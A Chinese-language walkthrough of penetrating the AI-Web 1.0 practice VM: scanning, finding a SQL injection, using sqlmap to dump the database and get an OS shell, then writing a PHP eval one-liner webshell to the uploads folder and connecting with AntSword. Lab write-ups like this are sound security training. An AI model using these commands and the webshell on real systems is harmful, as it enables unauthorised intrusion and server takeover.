ai web 1.0靶机漏洞渗透详解

一、导入靶机

解压下载好的靶机，然后打开VMware，点击文件》打开》找到刚刚解压的靶机点击下面的文件》打开

确认是靶机的网络连接模式是NAT模式

二、信息收集

1、主机发现

在本机的命令窗口输入ipconfig查看VMnet8这块网卡，这块网卡就是虚拟机NAT模式的网卡，发现它子204这个网段

用御剑扫描工具扫描虚拟机的NAT网段，发现靶机的IP是192.168.204.140

网页上访问192.168.204.140，出现以下信息

2、端口扫描

使用kali命令扫描nmap -A 192.168. 204.140 -p-

发现只开放了80端口

3、目录扫描

扫描目录发现robots.txt和index.html

访问robots.txt，发现有两个目录

我们再次对这两个目录扫描

扫描第一个目录我们发现有一个info.php

访问，发现是一个PHP的探针文件，通过探针文件我们可以知道网站的根目录是/home/www/html/web1x443290o2sdf92213

我们扫描另一个目录，写扫描一级目录，发现一个index.php

访问，发现一个输入框和一个提交按钮

我们输入一个1，发现查询回显信息， 这时考虑sql注入

 输入’报错发现sql注入漏洞

扫描二级目录发现什么也没有

访问，出现以下信息

三、漏洞利用

1.sqlmap的使用

这里利用burp抓包得到以下的包

通过抓包得到注入点uid=1&Operation=Submit，将抓到的包保存成一个文件，在1后面加一个*，说明这里是注入点

使用sqlmap 输入python3 sqlmap.py -r C:\Users\11984\Desktop\6.txt --current-db –batch获取到当前输入库aiweb1

输入python3 sqlmap.py -r C:\Users\11984\Desktop\6.txt -D aiweb1 --dump –batch直接获取当前数据的所有数据，发现并没有什么可以利用的信息

通过上面的PHP探针文件，我们知道了网站的根目录 /home/www/html/web1x443290o2sdf92213/，我们可以利用—os-shell来操作网站系统

我们还需要一个可以上传文件的页面se3reTdir777/uploads/刚好符合 它的绝对目录为

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

这里成功进入shell

2.上传一句话木马

通过shell写入一句话木马，在os-shell输入以下代码echo '<?php @eval($_POST['cmd']); ?>' > 1.php，然后cat查看内容，保证一句话木马成功写入

成功访问到木马文件，说明木马确实成功写入

使用蚁剑进行连接，写入一句话木马文件的路径：

http://192.168.204.140/se3reTdir777/uploads/1.php连接密码是刚刚POST传入的：cmd

成功登陆到靶机